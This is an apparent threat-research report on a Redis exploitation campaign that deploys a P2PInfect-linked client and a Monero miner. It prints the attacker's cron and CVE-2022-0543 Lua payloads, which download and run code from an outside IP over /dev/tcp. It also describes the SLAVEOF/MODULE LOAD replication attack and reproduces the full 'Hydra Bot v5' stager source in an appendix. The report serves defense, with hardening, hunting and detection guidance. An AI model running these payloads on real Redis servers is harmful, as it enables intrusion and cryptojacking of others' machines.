"Hydra Bot v5": A Redis Stager Designed to Deploy a P2PInfect Client and Miner

A single attacker IP delivered artifacts associated with four known Redis abuse patterns over one TCP connection in 4.4 seconds. After a 5.6-second wait, it issued four MODULE LOAD attempts over 16.5 seconds. The stager it attempts to download — a /bin/sh script self-labeled “Hydra Bot v5” — reveals a multi-fallback payload retrieval architecture and a hostname guard that exposes additional campaign infrastructure. The delivered ELF binary is a P2PInfect-linked client previously observed in public malware datasets.

Key Findings

• Artifacts for four Redis abuse patterns in 4.4 seconds. Cron payload staging, CVE-2022-0543 Lua sandbox escape, SSH key staging, and SLAVEOF replication — fired sequentially over a single TCP connection. The cron and SSH key paths were incomplete in this connection: only the Lua and replication/module chains progressed to execution-oriented commands. Four MODULE LOAD attempts followed over 16.5 seconds; the final attempt occurred at +26.5 seconds.
• Stager not found in public datasets; payload previously observed. No public match was identified for the stager ha-fixed.sh (SHA256: 50540a59...) in the datasets queried on 2026-09-01. The delivered ELF mini-agent-v2 (SHA256: a505de0a...) has been publicly observable since at least 2026-04-11 and is tagged P2PInfect in URLhaus [1]. Multiple characteristics documented for P2PInfect clients are present [9][10].
• Additional campaign infrastructure exposed via hostname guard. The stager contains a hostname check against server.kasemaster[.]es that exits before deployment. The domain resolves to the staging IP. A MoneroOcean worker label server.kasemaster[.]es-* is consistent with this link, though worker names are attacker-controlled and not verified by the pool.

Methodology and Scope

This analysis is based on Redis commands captured by our sensor network. All exploitation techniques documented here were attempted and none succeeded.

Observation window: 2026-08-31 to 2026-09-01 (24 hours).

What this analysis covers: commands sent by attackers, stager source code recovered from the payload distribution server, and static analysis of the ELF binary performed in an isolated environment.

What it does not cover: the total scale of the campaign, whether the operator has successfully compromised real Redis instances, or the full set of scanners and infrastructure involved.

Novelty assessment: Stager novelty claims are based on SHA256 hash lookups across public threat intelligence platforms and review of vendor threat reports, conducted on 2026-09-01. Samples were not uploaded to any public service. The ELF binary is tagged P2PInfect in URLhaus and exhibits multiple characteristics documented for P2PInfect clients [1][8][9][10].

The Attack Sequence

The observed sequence originated from a single source IP (59.110.9[.]189, Alibaba Cloud, China) over a single TCP connection. The commands were sent sequentially with approximately 500 milliseconds between each, consistent with a scripted loop.

Timeline

Two distinct timing phases:

• Setup phase (events 1–10): 4.4 seconds, ~500ms between commands. Artifacts for four abuse patterns delivered sequentially.
• MODULE LOAD phase (events 11–14): After a 5.6-second wait, four attempts at ~5.5-second intervals over 16.5 seconds. The timing is consistent with waiting for SLAVEOF replication to complete.

Technique 1: Cron Payload Staging

The attacker stores a cron entry as a Redis key value (SET x). On a vulnerable Redis, this payload would be persisted to disk via CONFIG SET dir /var/spool/cron/ + CONFIG SET dbfilename root + SAVE, creating an executable crontab. In this connection, the CONFIG SET commands (events 8–9) targeted /tmp/exp.so for SLAVEOF replication rather than cron persistence, making the cron path incomplete in isolation.

The cron payload references the bash /dev/tcp/ builtin for downloading the ELF binary. Note that cron typically executes commands under /bin/sh; on Debian/Ubuntu systems where /bin/sh is dash, the /dev/tcp/ builtin is not available. Whether the intended target has a SHELL= override or this represents an additional operational defect was not determined.

* * * * * if ! ps | grep -v grep | grep -q xhUmqQKi2G;
  then exec 6<>/dev/tcp/47.95.111.169/6536 &&
  echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/xhUmqQKi2G;fi &&
  chmod +x /tmp/xhUmqQKi2G && /tmp/xhUmqQKi2G <BASE64_TOKEN>

A 607-character base64-encoded string is passed as the first argument to the downloaded binary. Previous P2PInfect research describes an encrypted, base64-encoded bootstrap node list passed to the client as its first argument [9][10][11]. The string observed here — Shannon entropy 6.86 bits/byte, no printable content after decoding — is consistent with that role, but it was not decoded during this analysis. The same string appears identically in both the cron and Lua EVAL payloads, indicating it is a campaign-level parameter rather than a per-execution artifact.

Technique 2: Lua Sandbox Escape (CVE-2022-0543)

local ver = string.match(_VERSION,'%d.%d');
local io_l = package.loadlib(
  string.format('/usr/lib/x86_64-linux-gnu/liblua%s.so.0', ver),
  'luaopen_io');
local io = io_l();
local f = io.popen('bash -c exec 6<>/dev/tcp/47.95.111.169/6536...');

This exploits a Debian/Ubuntu packaging flaw that left package.loadlib accessible within the Redis Lua sandbox [2]. The payload auto-detects the Lua version via string.match(_VERSION) rather than hardcoding — an improvement over the original proof-of-concept. Unlike the cron path, the Lua payload explicitly invokes bash -c, making bash a runtime dependency rather than relying on the system shell.

Technique 3: SSH Key Staging

An RSA 2048-bit public key (root@localhost.localdomain, fingerprint SHA256:oN0PnU4YY0KT5X6+s8tJWpRHvSeizYg2rsi8pNxIStw) is stored as a Redis key value. The full persistence sequence (CONFIG SET dir /root/.ssh/ + CONFIG SET dbfilename authorized_keys + SAVE) was not part of this connection. On a vulnerable instance, the complete sequence would establish persistent SSH access.

Technique 4: SLAVEOF Replication Abuse

SLAVEOF 47.95.111[.]169 6536 instructs the target Redis to replicate from the attacker’s server. The documented technique transfers a malicious shared object via the RDB replication stream, writing it to disk as /tmp/exp.so via the prior CONFIG SET dir /tmp/ + CONFIG SET dbfilename exp.so [3].

Technique 5: MODULE LOAD

MODULE LOAD /tmp/exp.so — four attempts at ~5.5-second intervals. The documented technique typically registers commands such as system.exec and system.rev for arbitrary code execution [3][4][5]. The module was not recovered and its actual functionality is inferred from well-documented public techniques.

Additional Scanner IPs

Two additional IPs sent MODULE LOAD attempts during the same observation window:

The presence of a residential IP alongside cloud VPS scanners is compatible with scanning from a compromised host or residential proxy; its provenance is unknown.

Infrastructure

P2PInfect Delivery Node — 47.95.111[.]169:6536

The HTTP service on port 6536 returns a stub response for most paths — the ELF binary is served when the request matches the expected pattern (GET /linux). The exp.so module is delivered via the Redis SLAVEOF replication protocol, not via HTTP.

“Hydra” Staging Infrastructure — 152.89.236[.]100 / kasemaster[.]es

This infrastructure serves the stager (ha-fixed.sh), the ELF binary (mini-agent-v2), and a payload named xmrig (not independently characterized — see Limitations). The stager configures port 31337 as a named endpoint (labeled “WebSocket” in the stager comments — not verified).

This IP also sent Redis cron injection commands during the same observation window. The same infrastructure used a separate cron-only deployment path alongside the multi-vector toolkit.

Tor-Based Payload Retrieval Fallback

The stager’s fetch() function includes a Tor .onion hidden service as a last-resort method for downloading payloads, accessed via curl --socks5-hostname 127.0.0.1:9050. This is a payload retrieval fallback, not an endpoint for the ELF client — the binary is launched with an explicit address (-c2 152.89.236[.]100:31337), not a Tor endpoint.

The Stager: ha-fixed.sh

SHA256: 50540a594356f5fdbdf8d4cca48f4ee72c7316eae7ed61eb3ba7eb86b79d1706 Size: 1,791 bytes Self-reported label: “Hydra Bot v5” (from the stager’s own comment header; not an independent family classification)

The stager is a compact /bin/sh shell script with Spanish-language comments (“Stager con stealth y multi-fallback”, “WebSocket primario”). It is the primary artifact linking the campaign’s infrastructure components to each other.

Anti-Self-Deployment Hostname Guard

HOSTNAME_LOCAL="$(hostname)"
if [ "$HOSTNAME_LOCAL" = "server.kasemaster.es" ] || \
   [ "$HOSTNAME_LOCAL" = "kasemaster" ]; then
  exit 0
fi

This guard exits the stager entirely — preventing deployment of both the P2PInfect-linked client and the miner — on the host identified as server.kasemaster[.]es. It exposes an additional infrastructure identifier linking the domain to the staging VPS, supported by DNS resolution and a MoneroOcean worker label matching the hostname (worker labels are attacker-chosen, not pool-verified).

Multi-Fallback Download

fetch() {
  curl -sfL -o "$out" "http://${VPS}/${path}" -m 30 && return 0
  wget -q -O "$out" "http://${VPS}/${path}" -T 30 2>/dev/null && return 0
  curl -sfL -o "$out" "http://${VPS}:9999/${path}" -m 30 && return 0
  curl -sfL --socks5-hostname 127.0.0.1:9050 -o "$out" \
    "http://${ONION}.onion/${path}" -m 30 2>/dev/null && return 0
  return 1
}

Four download methods in priority order: curl via nginx on port 80, wget fallback, curl via HTTP on port 9999, and curl via Tor.

Operational Defects in the Recovered Stager

As recovered, the stager changes its working directory to /var/lib/systemd/.cache but writes payloads to the relative paths .cache/h and .cache/x without creating the nested .cache/ directory. On a clean first run, all four download methods would fail because the parent directory does not exist.

This may represent a coding error, an assumption that the nested directory already exists from a prior run, or an incomplete deployment dependency.

A second inconsistency exists between the two delivery paths: the Redis cron/Lua payloads execute the binary with a single positional base64 argument, while ha-fixed.sh launches it with named flags (-c2, -id, -wallet, -pool, -miner). Without dynamic analysis, whether the binary accepts both invocation styles is unknown.

Competitor Killing and Payload Staging

The stager terminates competing miners (XMRig variants, Kinsing) before attempting to deploy its own. The kill list includes kthreadd, which is a legitimate Linux kernel thread name — its inclusion likely targets a mining process that disguises itself under this name rather than the kernel thread itself.

The stager creates its working directory at /var/lib/systemd/.cache, mimicking a legitimate systemd cache location.

Public Sample Lineage

The exact SHA256 of mini-agent-v2 (a505de0af54408dcde2f869608398a409908543a43fad15397a342b2200f8a52) is tagged P2PInfect in URLhaus, where it was first observed on 2026-04-11 on a /linux distribution path [1][8]. This public lineage, combined with the Rust implementation, the encrypted base64 first argument, Redis-focused delivery chain, and embedded ChaCha20-related strings, supports a high-confidence P2PInfect association [9][10].

The stager and the surrounding deployment infrastructure remain distinct artifacts of this observed campaign. We treat mini-agent-v2 as a P2PInfect-linked client rather than a novel campaign-specific agent. No public match for ha-fixed.sh was identified in the datasets queried at the time of analysis.

The ELF Payload

SHA256: a505de0af54408dcde2f869608398a409908543a43fad15397a342b2200f8a52 Size: 3,716,336 bytes (3.7 MB) Type: ELF 64-bit LSB executable, x86-64, statically linked, section-header table removed Public lineage: Tagged P2PInfect in URLhaus, observed since 2026-04-11 [1]

Analysis is based on static methods; dynamic execution was out of scope for this report.

Compilation and Language

No readable symbol tables. Strings TOKIO_WORKER_TH and async-io suggest Rust with the Tokio asynchronous runtime, consistent with documented P2PInfect implementations [9]. Without compiler metadata the language attribution is not definitive.

Embedded Cryptographic Primitives

Similar strings may be present in statically linked applications that use general-purpose TLS or cryptographic libraries. Their presence confirms the binary embeds a cryptographic stack but does not prove these primitives are used for a custom protocol.

Attribution

Monero Wallet

The wallet 49XtZV5Zis31aAvzjSb7BvGkAZXKtBRKY1c23N8Khmk17pLk3KjDA7g6uR3JwuwKD3jHNXMfTHHLDA8V8nFG3eqrDUoLjZB appears in the stager configuration with the mining pool gulf.moneroocean[.]stream:10128.

MoneroOcean API data (queried 2026-09-01):

Three worker labels registered (worker labels are attacker-chosen, not pool-verified):

IP reputation data reveals an asymmetry between the two infrastructure nodes: the delivery node carries detections in 4 external threat feeds; the staging infrastructure has no external reputation. The reputation asymmetry may reflect different infrastructure roles, exposure levels, or lifecycle stages. It does not establish operator intent.

kasemaster[.]es

kasemaster[.]es identifies infrastructure used by the campaign. It does not identify a person. The Spanish-language comments in the stager are consistent with, but do not prove, a Spanish-speaking operator.

Alternative Hypotheses

• Inherited infrastructure. The domain and VPS could be residual from a previous operator. The attacker may have acquired access and hardcoded the hostname guard after discovering the existing configuration.
• Testing, not operational. Six shares, zero payout, Spanish comments, the “v5” version tag, and limited operational security measures could indicate a researcher or student experimenting with Redis exploitation rather than a financially motivated operation.

Detection and Defense

Common Prerequisite

Every technique in this observed sequence shares a common prerequisite: an unauthenticated Redis instance accessible from the internet. None of the captured commands included AUTH. Effective exploitation then depends on additional factors — Redis version, CVE-2022-0543 applicability (Debian/Ubuntu packaging), Unix permissions, CONFIG availability, and module loading configuration — but internet exposure without authentication is the gate that opens all of them.

Recommended Hardening (Redis 6+)

• ACL Users (primary control): configure an allowlist of required commands per application user. Deny @admin and @dangerous command categories (prevents CONFIG SET, SLAVEOF, MODULE LOAD), and deny EVAL/EVALSHA or @scripting where server-side scripting is not required. EVAL is classified @scripting, not @dangerous. Disable the default user or set a strong ACL password.
• bind 127.0.0.1 or bind to specific internal interfaces — prevents access from external scanners.
• Run as unprivileged user (not root) — prevents writes to root-owned cron paths and /root/.ssh/.
• Firewall: block 6379 from internet.
• rename-command: legacy alternative to ACLs for disabling CONFIG, SLAVEOF, REPLICAOF, MODULE, EVAL, FLUSHDB, FLUSHALL.
• Redis 7+: MODULE LOAD behavior is configurable via enable-module-command.
• TLS encryption (tls-port + tls-auth-clients yes): prevents credential sniffing.

Detection Rules

Detection rules are provided alongside this report:

• YARA: rules for both the stager and the ELF payload
• Sigma: six rules covering Redis CONFIG SET abuse, SLAVEOF, MODULE LOAD, CVE-2022-0543, systemd cache masquerade, and cron-based download patterns
• Suricata: 17 rules covering Redis protocol exploitation, HTTP payload delivery, infrastructure connections, and mining pool communication

Victim-Side Hunting Guidance

Defenders should search their environments for:

• Redis commands: CONFIG SET dir, REPLICAOF/SLAVEOF, MODULE LOAD, and EVAL with loadlib or io.popen
• File writes to /var/spool/cron/, /etc/cron.d/, and authorized_keys
• Directories: /var/lib/systemd/.cache and nested .cache/h, .cache/x
• Outbound connections to ports 6536, 9999, 31337, Tor SOCKS (9050), and gulf.moneroocean[.]stream
• Redis processes running as root

Indicators of Compromise

Network Indicators

File Indicators

Mining Indicators

Staging and Masquerading Indicators

Redis Command Patterns

MITRE ATT&CK Mapping

Mapped to ATT&CK v19.2 (August 2026).

Limitations

1. Static analysis only. All functional conclusions about the P2PInfect-linked client are derived from static string analysis and public lineage; dynamic execution was out of scope.
2. The Redis module (exp.so) was not recovered. Its functionality is inferred from well-documented public techniques [3][4][5].
3. The base64 bootstrap blob was not decoded. Decoding it according to documented P2PInfect formats [11] could reveal additional peer nodes and expand the infrastructure cluster.
4. The miner payload was not independently characterized. The stager downloads a file named xmrig; its actual identity, hash, and version were not verified. References to “miner” in this report are based on the stager’s naming, wallet/pool configuration, and competitor kill list — not on analysis of the miner binary itself.
5. The stager contains operational defects. Whether it functions correctly under all deployment conditions was not verified against a live target.

References

1. URLhaus. Sample a505de0a... tagged P2PInfect, observed since 2026-04-11. https://urlhaus.abuse.ch/url/3772607/
2. CVE-2022-0543. Debian-specific Redis Lua sandbox escape. NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-0543
3. Knownsec 404 Team (2019). “RCE Exploits of Redis Based on Master-Slave Replication.” Documents the SLAVEOF + MODULE LOAD technique.
4. Aqua Security. “HeadCrab Attacks Servers Worldwide with Novel State-of-Art Redis Malware.” Documents sophisticated Redis malware using similar replication-based delivery.
5. Datadog Security Labs (2025). “RedisRaider: Weaponizing Misconfigured Redis.” Documents mass-scanning Redis exploitation with automatic propagation.
6. VirusTotal. SHA256 hash lookups (search only — samples not uploaded), queried 2026-09-01.
7. Triage. Sample a505de0a... submission, observed 2026-04-11.
8. Unit 42 (2023). “P2PInfect: The Rusty Peer-to-Peer Self-Replicating Worm.” Rust implementation, CVE-2022-0543, /linux delivery, encrypted CLI configuration.
9. Cado Security (2023). “Cado Security Labs Encounter Novel Malware, Redis P2Pinfect.” Encrypted/base64 bootstrap peer list, P2P architecture, Redis replication abuse.
10. Cado Security (2024). “From Dormant to Dangerous: P2Pinfect Evolves to Deploy New Ransomware and Cryptominer.” Cryptominer evolution and Redis propagation.
11. Fortinet (2026). “Misconfigured, Enrolled and Dormant: Anatomy of a P2Pinfect Kubernetes Compromise.” /linux delivery and base64 argument decoded as a bootstrap peer list.

Appendix: ha-fixed.sh Source

The source below was reconstructed from the file recovered from the payload distribution server. Network indicators have been defanged for publication; the SHA256 hash (50540a594356f5fdbdf8d4cca48f4ee72c7316eae7ed61eb3ba7eb86b79d1706) refers to the original recovered artifact.

#!/bin/sh
# Hydra Bot v5  Stager con stealth y multi-fallback
# C2: 152.89.236[.]100:31337 (WebSocket primario) + 9999 (HTTP payloads)

HOSTNAME_LOCAL="$(hostname)"
if [ "$HOSTNAME_LOCAL" = "server.kasemaster.es" ] || \
   [ "$HOSTNAME_LOCAL" = "kasemaster" ]; then
  exit 0
fi

C2="152.89.236[.]100"
ONION="6huzfshxdseern6m5vpmjfklsgo3ouyucalfyyboudpyzn7rzznxtjqd"
WALLET="49XtZV5Zis31aAvzjSb7BvGkAZXKtBRKY1c23N8Khmk17pLk3KjDA7g6uR3JwuwKD3jHNXMfTHHLDA8V8nFG3eqrDUoLjZB"
VPS="152.89.236[.]100"
POOL="gulf.moneroocean.stream:10128"

mkdir -p /var/lib/systemd/.cache 2>/dev/null
cd /var/lib/systemd/.cache 2>/dev/null || cd /tmp

HOSTID="$(cat /etc/machine-id 2>/dev/null || hostname)"

fetch() {
  local path="$1" out="$2"
  curl -sfL -o "$out" "http://${VPS}/${path}" -m 30 && return 0
  wget -q -O "$out" "http://${VPS}/${path}" -T 30 2>/dev/null && return 0
  curl -sfL -o "$out" "http://${VPS}:9999/${path}" -m 30 && return 0
  curl -sfL --socks5-hostname 127.0.0.1:9050 -o "$out" \
    "http://${ONION}.onion/${path}" -m 30 2>/dev/null && return 0
  return 1
}

killall -9 xmrig xmrig-daemon kthreadd kinsing 2>/dev/null
pkill -9 -f xmrig 2>/dev/null
pkill -9 -f monero 2>/dev/null

fetch "mini-agent-v2" .cache/h && chmod +x .cache/h
fetch "xmrig" .cache/x && chmod +x .cache/x

nohup ./.cache/h -c2 "${C2}:31337" -id "${HOSTID}" -wallet "${WALLET}" \
  -pool "${POOL}" -miner ./.cache/x >/dev/null 2>&1 &

OHIIHO Threat Research. For questions or to share related observations, contact research@ohiiho.com .